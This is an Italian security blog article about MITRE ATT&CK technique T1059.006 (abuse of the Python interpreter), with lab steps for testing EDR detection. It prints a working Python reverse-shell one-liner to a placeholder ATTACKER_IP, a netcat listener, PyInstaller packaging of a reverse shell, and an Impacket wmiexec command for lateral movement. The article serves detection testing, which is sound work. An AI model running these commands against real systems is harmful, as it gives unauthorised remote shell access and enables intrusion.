Esecuzione via Python: Command and Scripting Interpreter — Python (T1059.006)

Python è uno dei linguaggi di scripting più versatili nell'arsenale offensivo moderno. La tecnica T1059.006 descrive l'abuso dell'interprete Python — sia tramite esecuzione interattiva da riga di comando (python.exe, python3), sia attraverso script .py distribuiti sui sistemi compromessi, sia mediante binari compilati con tool come PyInstaller o py2exe. Si colloca nella tattica Execution (TA0002), quella fase della kill chain in cui l'avversario ha già ottenuto un punto d'appoggio e deve far girare codice sul sistema bersaglio.

I numeri parlano chiaro: 17 gruppi APT, 34 software malevoli, 4 campagne documentate e 4 mitigazioni associate. La popolarità di Python tra gli attaccanti non è casuale — le librerie built-in coprono operazioni su file, rete, crittografia e interazione col sistema operativo, rendendo possibile costruire backdoor, reverse shell, web shell e strumenti di post-exploitation con poche righe di codice. La cross-platform compatibility amplifica il rischio: lo stesso script può girare su Windows, Linux, macOS e persino hypervisor ESXi, toccando ogni angolo dell'infrastruttura.

L'ampia superficie d'attacco è dimostrata dalla varietà delle campagne — dall'espionage cinese (Operation Wocao, Cutting Edge) allo sfruttamento di infrastrutture AI (ShadowRay) fino all'estorsione finanziaria (Salesforce Data Exfiltration) — a conferma che Python non è appannaggio di un singolo profilo di threat actor.


La simulazione di T1059.006 in laboratorio richiede di riprodurre le stesse catene operative osservate in campagne reali: delivery di uno script Python, esecuzione con librerie built-in, connessione C2 e lateral movement. L'obiettivo è verificare che i controlli EDR, application whitelisting e log auditing reagiscano correttamente.

Reverse shell Python nativa. La catena più elementare e più documentata — usata durante Cutting Edge con il modulo pty e durante ShadowRay — è la reverse shell costruita con le sole librerie standard. In laboratorio, sul sistema target Linux:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Sul lato attaccante basta un listener Netcat (open source): nc -lvnp 4444. Questa sequenza testa il rilevamento dell'esecuzione di Python con connessione outbound immediata — esattamente lo scenario coperto dall'analisi AN0174 su Linux.

Compilazione con PyInstaller. Gruppi come Machete e gli attori di Operation Wocao distribuiscono payload Python compilati in binari standalone per evitare la dipendenza dall'interprete sul target. Per simulare:

pip install pyinstaller pyinstaller --onefile --noconsole reverse_shell.py

Il binario risultante non mostrerà python.exe nella process tree, testando la capacità dell'EDR di identificare artefatti PyInstaller (cartella _MEIxxxxxx in %TEMP% su Windows, /tmp/_MEI* su Linux).

Impacket wmiexec.py per lateral movement. Cinnamon Tempest ha usato una versione personalizzata di questo modulo. Il framework Impacket (open source) permette di replicare la tecnica:

python3 wmiexec.py DOMAIN/user:password@TARGET_IP

Questo genera esecuzione remota via WMI e permette di verificare la detection di processi figli anomali di wmiprvse.exe.

SOCKS proxy con PySoxy. Gli attori di Cutting Edge hanno impiegato PySoxy come proxy SOCKS5. In lab si può usare il package Python omonimo per creare un tunnel e verificare che il traffico SOCKS venga intercettato dai controlli di rete.

Web shell Python. Per replicare lo scenario FRAMESTING o reGeorg, si può deployare una web shell Python minimale su un web server di test e verificare la detection tramite file integrity monitoring e analisi dei log HTTP per pattern di command execution.

Ogni test va eseguito in ambiente isolato. Il framework Atomic Red Team (open source) include test atomici per T1059.006 che automatizzano parte di questi scenari e producono telemetria confrontabile con le detection rule attese.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo